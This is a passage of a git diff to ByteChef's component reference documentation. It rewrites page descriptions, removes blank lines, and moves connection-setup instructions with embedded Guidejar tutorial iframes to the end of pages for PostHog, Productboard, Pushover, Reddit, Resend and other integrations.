 
@@ -34,7 +33,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -96,8 +94,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Contact
 Name: createContact
 
@@ -156,8 +152,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -221,11 +215,8 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/postgresql_v1.mdx b/docs/content/docs/reference/components/postgresql_v1.mdx
index 285c8e3ce23..53a54a08a79 100644
--- a/docs/content/docs/reference/components/postgresql_v1.mdx
+++ b/docs/content/docs/reference/components/postgresql_v1.mdx
@@ -1,10 +1,8 @@
 ---
-title: "PostgreSQL"
-description: "Query, insert and update data from PostgreSQL."
+description: "PostgreSQL component for ByteChef. Database operations. Learn how to implement this in your ByteChef workflows."
+title: PostgreSQL
 ---
 
-
-
 Type: postgresql/v1
 
 <hr />
@@ -30,7 +28,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -69,8 +66,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Insert
 Name: insert
 
@@ -110,8 +105,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Update
 Name: update
 
@@ -153,8 +146,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Delete
 Name: delete
 
@@ -189,8 +180,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Execute
 Name: execute
 
@@ -226,8 +215,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## Triggers
 
 
@@ -265,9 +252,4 @@ The output for this action is dynamic and may vary depending on the input parame
   },
   "type" : "postgresql/v1/newRow"
 }
-```
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/posthog_v1.mdx b/docs/content/docs/reference/components/posthog_v1.mdx
index 5f64ef2bc57..12aee6ed81a 100644
--- a/docs/content/docs/reference/components/posthog_v1.mdx
+++ b/docs/content/docs/reference/components/posthog_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "PostHog"
-description: "PostHog is the only all-in-one platform for product analytics, feature flags, session replays, experiments, and surveys that's built for developers."
+description: "PostHog component for ByteChef. Product analytics. Learn how to implement this in your ByteChef workflows."
+title: PostHog
 ---
 
-
 Categories: Analytics
 
 
@@ -29,17 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Navigate to your PostHog homepage.
-2. Click on **Settings**.
-3. Scroll until you reach **Project ID**.
-4. There you will see your **Project API Key**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/f1bb1209-bcae-4fee-bb23-7b68d1cfd8ae?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -99,8 +87,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Project
 Name: createProject
 
@@ -258,5 +244,17 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
 
+1. Navigate to your PostHog homepage.
+2. Click on **Settings**.
+3. Scroll until you reach **Project ID**.
+4. There you will see your **Project API Key**.
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/f1bb1209-bcae-4fee-bb23-7b68d1cfd8ae?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/productboard_v1.mdx b/docs/content/docs/reference/components/productboard_v1.mdx
index ed45433f42a..cac7512bebc 100644
--- a/docs/content/docs/reference/components/productboard_v1.mdx
+++ b/docs/content/docs/reference/components/productboard_v1.mdx
@@ -40,41 +40,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect Productboard to ByteChef using either a Public API Access Token (Bearer Token) or OAuth 2.0 Authorization Code.
-
-### Public API Access Token
-1. Log in to Productboard.
-2. Open **Settings** → **Integrations**.
-3. Go to the **Manage** tab.
-4. Under **Public APIs**, click **Access token**.
-5. Click **+ Add token** and follow the prompts.
-6. Copy the generated token value.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/f3AWaxY95z6JMKcNyFxz?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-### OAuth 2.0 Authorization Code
-1. In Productboard, open: https://app.productboard.com/oauth2/applications
-2. Click **New OAuth2 Application**.
-3. Enter a name, description, and any other required fields.
-4. Add the ByteChef OAuth redirect (callback) URL(s):
-   - Cloud: `https://app.bytechef.io/callback`
-   - Local development: `http://localhost:5173/callback`
-5. Select the scopes your app needs. For the ByteChef Productboard connector, enable:
-    - `notes:create`
-    - `notes:read`
-    - `notes:manage`
-    - `product_hierarchy_data:read`
-6. Click **Create Application**.
-7. Copy the generated `Client ID` and `Client Secret`.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/vwnJVxj8Wrg5MIsO6jM0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -164,8 +129,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Note
 Name: createNote
 
@@ -221,8 +184,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete Note
 Name: deleteNote
 
@@ -253,8 +214,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Get Note
 Name: getNote
 
@@ -343,8 +302,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Note
 Name: updateNote
 
@@ -408,8 +365,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### List All Notes
 Name: listNotes
 
@@ -506,8 +461,6 @@ Items Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -547,7 +500,6 @@ Type: OBJECT
 ```
 
 
-
 ### Updated Feature
 Name: updatedFeature
 
@@ -587,10 +539,47 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Connect Productboard to ByteChef using either a Public API Access Token (Bearer Token) or OAuth 2.0 Authorization Code.
+
+### Public API Access Token
+1. Log in to Productboard.
+2. Open **Settings** → **Integrations**.
+3. Go to the **Manage** tab.
+4. Under **Public APIs**, click **Access token**.
+5. Click **+ Add token** and follow the prompts.
+6. Copy the generated token value.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/f3AWaxY95z6JMKcNyFxz?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
+
+### OAuth 2.0 Authorization Code
+1. In Productboard, open: https://app.productboard.com/oauth2/applications
+2. Click **New OAuth2 Application**.
+3. Enter a name, description, and any other required fields.
+4. Add the ByteChef OAuth redirect (callback) URL(s):
+   - Cloud: `https://app.bytechef.io/callback`
+   - Local development: `http://localhost:5173/callback`
+5. Select the scopes your app needs. For the ByteChef Productboard connector, enable:
+    - `notes:create`
+    - `notes:read`
+    - `notes:manage`
+    - `product_hierarchy_data:read`
+6. Click **Create Application**.
+7. Copy the generated `Client ID` and `Client Secret`.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/vwnJVxj8Wrg5MIsO6jM0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/pushover_v1.mdx b/docs/content/docs/reference/components/pushover_v1.mdx
index 64102d47073..2db88dc1582 100644
--- a/docs/content/docs/reference/components/pushover_v1.mdx
+++ b/docs/content/docs/reference/components/pushover_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Pushover"
-description: "Pushover is a notification service that sends real-time alerts to mobile and desktop devices, integrating with apps, scripts, and services."
+description: "Pushover component for ByteChef. Mobile notifications. Learn how to implement this in your ByteChef workflows."
+title: Pushover
 ---
 
-
 Categories: Communication
 
 
@@ -30,21 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Navigate to [link](https://pushover.net/).
-2. Click on **Create an Application/API Token**.
-3. Enter name of your application and optionally description, icon and URL.
-4. Check Terms of Service checkbox.
-5. Click **Create Application**.
-6. This is your **Application API Token**.
-7. Click here to go to the Pushover dashboard.
-8. This is your **User Key**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/0c219988-82f0-47b2-8e08-c5a89bc45bdd?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -123,5 +107,21 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
 
+## Connection Setup
 
+1. Navigate to [link](https://pushover.net/).
+2. Click on **Create an Application/API Token**.
+3. Enter name of your application and optionally description, icon and URL.
+4. Check Terms of Service checkbox.
+5. Click **Create Application**.
+6. This is your **Application API Token**.
+7. Click here to go to the Pushover dashboard.
+8. This is your **User Key**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/0c219988-82f0-47b2-8e08-c5a89bc45bdd?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/qdrant_v1.mdx b/docs/content/docs/reference/components/qdrant_v1.mdx
index 1843f47f7e5..f76350e98b4 100644
--- a/docs/content/docs/reference/components/qdrant_v1.mdx
+++ b/docs/content/docs/reference/components/qdrant_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Qdrant"
-description: "Qdrant is an open-source vector similarity search engine designed to handle high-dimensional data, enabling efficient and scalable nearest neighbor search for applications like recommendation systems and machine learning."
+description: "Qdrant component for ByteChef. Vector similarity search. Learn how to implement this in your ByteChef workflows."
+title: Qdrant
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -35,7 +34,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -63,8 +61,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Search Data
 Name: search
 
@@ -90,12 +86,4 @@ Name: search
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/query-augmenter_v1.mdx b/docs/content/docs/reference/components/query-augmenter_v1.mdx
index ef853a50edb..991878d8f0a 100644
--- a/docs/content/docs/reference/components/query-augmenter_v1.mdx
+++ b/docs/content/docs/reference/components/query-augmenter_v1.mdx
@@ -1,18 +1,11 @@
 ---
-title: "Query Augmenter"
-description: "Query Augmenter."
+description: "Query Augmenter component for ByteChef. Enhance and transform queries with AI-powered augmentation in workflows."
+title: Query Augmenter
 ---
 
-
 Categories: Artificial Intelligence
 
 
 Type: queryAugmenter/v1
 
-<hr />
-
-
-
-
-
-
+<hr />
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/query-expander_v1.mdx b/docs/content/docs/reference/components/query-expander_v1.mdx
index e1a7852ec61..c3c7e159940 100644
--- a/docs/content/docs/reference/components/query-expander_v1.mdx
+++ b/docs/content/docs/reference/components/query-expander_v1.mdx
@@ -1,18 +1,10 @@
 ---
-title: "Query Expander"
-description: "Query Expander."
+description: "Query Expander component for ByteChef. Enhance and expand search queries with AI-powered optimization in workflows."
+title: Query Expander
 ---
 
-
 Categories: Artificial Intelligence
 
-
 Type: queryExpander/v1
 
-<hr />
-
-
-
-
-
-
+<hr />
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/query-transformer_v1.mdx b/docs/content/docs/reference/components/query-transformer_v1.mdx
index 1fb618bffc0..1562faa5753 100644
--- a/docs/content/docs/reference/components/query-transformer_v1.mdx
+++ b/docs/content/docs/reference/components/query-transformer_v1.mdx
@@ -1,18 +1,11 @@
 ---
-title: "Query Transformer"
-description: "Query Transformer."
+description: "Query Transformer component. Transform database queries. Learn how to implement this in your ByteChef workflows."
+title: Query Transformer
 ---
 
-
 Categories: Artificial Intelligence
 
 
 Type: queryTransformer/v1
 
-<hr />
-
-
-
-
-
-
+<hr />
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/questionanswer-rag_v1.mdx b/docs/content/docs/reference/components/questionanswer-rag_v1.mdx
index e5d713c6b90..5cd33703eb3 100644
--- a/docs/content/docs/reference/components/questionanswer-rag_v1.mdx
+++ b/docs/content/docs/reference/components/questionanswer-rag_v1.mdx
@@ -1,18 +1,11 @@
 ---
-title: "Question Answer RAG"
-description: "A component that enables Question-Answer Retrieval Augmented Generation (RAG) capabilities. It combines natural language processing with document retrieval to provide accurate answers based on the given context."
+description: "Question Answer RAG component for ByteChef. Enables Question-Answer Retrieval Augmented Generation. Learn how to implement this in your ByteChef workflows."
+title: Question Answer RAG
 ---
 
-
 Categories: Artificial Intelligence
 
 
 Type: questionAnswerRag/v1
 
-<hr />
-
-
-
-
-
-
+<hr />
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/quickbooks_v1.mdx b/docs/content/docs/reference/components/quickbooks_v1.mdx
index 078f9146ca0..6ce297441fc 100644
--- a/docs/content/docs/reference/components/quickbooks_v1.mdx
+++ b/docs/content/docs/reference/components/quickbooks_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "QuickBooks"
-description: "QuickBooks is an accounting software package developed and marketed by Intuit. It is geared mainly toward small and medium-sized businesses and offers on-premises accounting applications as well as cloud-based versions that accept business payments, manage and pay bills, and payroll functions."
+description: "QuickBooks component for ByteChef. Manage accounting data, create invoices, and automate financial workflows."
+title: QuickBooks
 ---
 
-
 Categories: Accounting
 
 
@@ -34,7 +33,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -95,8 +93,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Customer
 Name: createCustomer
 
@@ -165,8 +161,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Item
 Name: createItem
 
@@ -238,8 +232,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Payment
 Name: createPayment
 
@@ -299,8 +291,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Customer
 Name: getCustomer
 
@@ -359,8 +349,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Invoice
 Name: getInvoice
 
@@ -416,8 +404,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Item
 Name: getItem
 
@@ -481,8 +467,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Payment
 Name: getPayment
 
@@ -542,11 +526,8 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/rabbitmq_v1.mdx b/docs/content/docs/reference/components/rabbitmq_v1.mdx
index 9455c83cf6f..dbe94d74225 100644
--- a/docs/content/docs/reference/components/rabbitmq_v1.mdx
+++ b/docs/content/docs/reference/components/rabbitmq_v1.mdx
@@ -1,10 +1,8 @@
 ---
-title: "RabbitMQ"
-description: "RabbitMQ is an open-source message broker software that enables efficient communication between different systems, applications, and services. It supports multiple messaging protocols and facilitates a reliable and flexible messaging system."
+description: "RabbitMQ component for ByteChef. Message broker. Learn how to implement this in your ByteChef workflows."
+title: RabbitMQ
 ---
 
-
-
 Type: rabbitMQ/v1
 
 <hr />
@@ -20,7 +18,6 @@ null
 
 
 
-
 <hr />
 
 
@@ -60,8 +57,6 @@ This action does not produce any output.
 
 
 
-
-
 ## Triggers
 
 
@@ -93,9 +88,4 @@ The output for this action is dynamic and may vary depending on the input parame
   },
   "type" : "rabbitMQ/v1/newMessage"
 }
-```
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/random-helper_v1.mdx b/docs/content/docs/reference/components/random-helper_v1.mdx
index 791d3a97583..cff07bf611f 100644
--- a/docs/content/docs/reference/components/random-helper_v1.mdx
+++ b/docs/content/docs/reference/components/random-helper_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Random Helper"
-description: "The Random Helper allows you to generate random values."
+description: "Random Helper component. Generate random values. Learn how to implement this in your ByteChef workflows."
+title: Random Helper
 ---
 
-
 Categories: Helpers
 
 
@@ -55,8 +54,6 @@ Type: NUMBER
 
 
 
-
-
 ### Random Hex
 Name: randomHex
 
@@ -93,8 +90,6 @@ Type: STRING
 
 
 
-
-
 ### Random Integer
 Name: randomInt
 
@@ -133,12 +128,10 @@ Type: INTEGER
 
 
 
-
-
 ### Random String
 Name: randomString
 
-`Generates a random string of the specified length using the provided character set.`
+`Generates a random string value.`
 
 #### Properties
 
@@ -173,8 +166,6 @@ Type: STRING
 
 
 
-
-
 ### Random UUID
 Name: randomUuid
 
@@ -193,16 +184,4 @@ Name: randomUuid
 
 
 
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-
-
+Type: STRING
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/reckon_v1.mdx b/docs/content/docs/reference/components/reckon_v1.mdx
index 2afd1a31436..5d77e382402 100644
--- a/docs/content/docs/reference/components/reckon_v1.mdx
+++ b/docs/content/docs/reference/components/reckon_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Reckon"
-description: "Reckon is an accounting software used for financial management and bookkeeping tasks."
+description: "Reckon component for ByteChef. Accounting software. Learn how to implement this in your ByteChef workflows."
+title: Reckon
 ---
 
-
 Categories: Accounting
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -88,8 +86,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Invoice
 Name: createInvoice
 
@@ -147,8 +143,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Payment
 Name: createPayment
 
@@ -203,8 +197,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -259,7 +251,6 @@ Items Type: OBJECT
 ```
 
 
-
 ### New Payment
 Name: newPayment
 
@@ -312,10 +303,8 @@ Items Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/reddit_v1.mdx b/docs/content/docs/reference/components/reddit_v1.mdx
index b081fbe2d0d..caa0f4eb370 100644
--- a/docs/content/docs/reference/components/reddit_v1.mdx
+++ b/docs/content/docs/reference/components/reddit_v1.mdx
@@ -30,20 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-1. Login to your account at https://www.reddit.com/prefs/apps.
-2. Click on **are you a developer? create an app...**
-3. Fill in the required fields, choose web app as type and click **create app**.
-4. Here you will find Client ID.
-5. Click on **edit** and here you will find Client Secret.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/mB65BPSEYnEwC7VKnovG?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -103,8 +89,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Post
 Name: createPost
 
@@ -164,11 +148,26 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+1. Login to your account at https://www.reddit.com/prefs/apps.
+2. Click on **are you a developer? create an app...**
+3. Fill in the required fields, choose web app as type and click **create app**.
+4. Here you will find Client ID.
+5. Click on **edit** and here you will find Client Secret.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/mB65BPSEYnEwC7VKnovG?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/redis_v1.mdx b/docs/content/docs/reference/components/redis_v1.mdx
index 662c6a94cbd..9012eb5f0f1 100644
--- a/docs/content/docs/reference/components/redis_v1.mdx
+++ b/docs/content/docs/reference/components/redis_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Redis"
-description: "Redis is an open-source, in-memory data structure store used as a database, cache, and message broker, known for its high performance and support for various data structures like strings, hashes, lists, sets, and more."
+description: "Redis component for ByteChef. In-memory data structure store and cache. Learn how to implement this in your ByteChef workflows."
+title: Redis
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -34,7 +33,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -71,8 +69,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Load Data
 Name: load
 
@@ -89,12 +85,4 @@ Name: load
 
 #### Output
 
-This action does not produce any output.
-
-
-
-
-
-
-
-
+This action does not produce any output.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/request_v1.mdx b/docs/content/docs/reference/components/request_v1.mdx
index e4c2e8a6e4d..689467ec9d9 100644
--- a/docs/content/docs/reference/components/request_v1.mdx
+++ b/docs/content/docs/reference/components/request_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Request"
-description: "Send an HTTP request from your application to a designated integration and workflow, with the option to receive a synchronous response."
+description: "Request component for ByteChef. Send HTTP requests to external services. Learn how to implement this in your ByteChef workflows."
+title: Request
 ---
 
-
 Categories: Helpers
 
 
@@ -40,7 +39,6 @@ The output for this action is dynamic and may vary depending on the input parame
 ```
 
 
-
 ### Await Workflow and Respond
 Name: awaitWorkflowAndRespond
 
@@ -69,9 +67,4 @@ The output for this action is dynamic and may vary depending on the input parame
   },
   "type" : "request/v1/awaitWorkflowAndRespond"
 }
-```
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/resend_v1.mdx b/docs/content/docs/reference/components/resend_v1.mdx
index 3b8a3ce0252..f42fe8bf98e 100644
--- a/docs/content/docs/reference/components/resend_v1.mdx
+++ b/docs/content/docs/reference/components/resend_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Resend"
-description: "Resend is the email API for developers."
+description: "Resend component for ByteChef. Transactional email delivery service. Learn how to implement this in your ByteChef workflows."
+title: Resend
 ---
 
-
 Categories: Marketing Automation
 
 
@@ -29,21 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect Resend to ByteChef using an API key.
-
-### Create a Resend API key
-1. Log in to your [Resend account](https://resend.com/).
-2. Go to **API Keys**: https://resend.com/api-keys
-3. Click **+ Create API Key**.
-4. Give the key a descriptive name (for example, `ByteChef Integration`), choose the appropriate permission, and (optionally) limit it to a specific domain. Click **Add**.
-5. Copy the generated API key.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/lEMGWkoAeLNbnjNTpUlu?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -131,11 +115,27 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Connect Resend to ByteChef using an API key.
+
+### Create a Resend API key
+1. Log in to your [Resend account](https://resend.com/).
+2. Go to **API Keys**: https://resend.com/api-keys
+3. Click **+ Create API Key**.
+4. Give the key a descriptive name (for example, `ByteChef Integration`), choose the appropriate permission, and (optionally) limit it to a specific domain. Click **Add**.
+5. Copy the generated API key.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/lEMGWkoAeLNbnjNTpUlu?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/retable_v1.mdx b/docs/content/docs/reference/components/retable_v1.mdx
index 1bc4e084e5a..cd2ced388a4 100644
--- a/docs/content/docs/reference/components/retable_v1.mdx
+++ b/docs/content/docs/reference/components/retable_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Retable"
-description: "Retable is a online database and spreadsheet platform designed for teams and individuals who want to organize, manage, and collaborate on structured data."
+description: "Retable component for ByteChef. Online database. Learn how to implement this in your ByteChef workflows."
+title: Retable
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -94,8 +92,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Insert Row
 Name: insertRow
 
@@ -161,8 +157,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Row
 Name: updateRow
 
@@ -220,11 +214,8 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/rocketchat_v1.mdx b/docs/content/docs/reference/components/rocketchat_v1.mdx
index b1bc9f09516..492e15dbff7 100644
--- a/docs/content/docs/reference/components/rocketchat_v1.mdx
+++ b/docs/content/docs/reference/components/rocketchat_v1.mdx
@@ -31,18 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Navigate to your dashboard.
-2. Go to your account and click on **Profile**.
-3. Click on **Personal Access Tokens**.
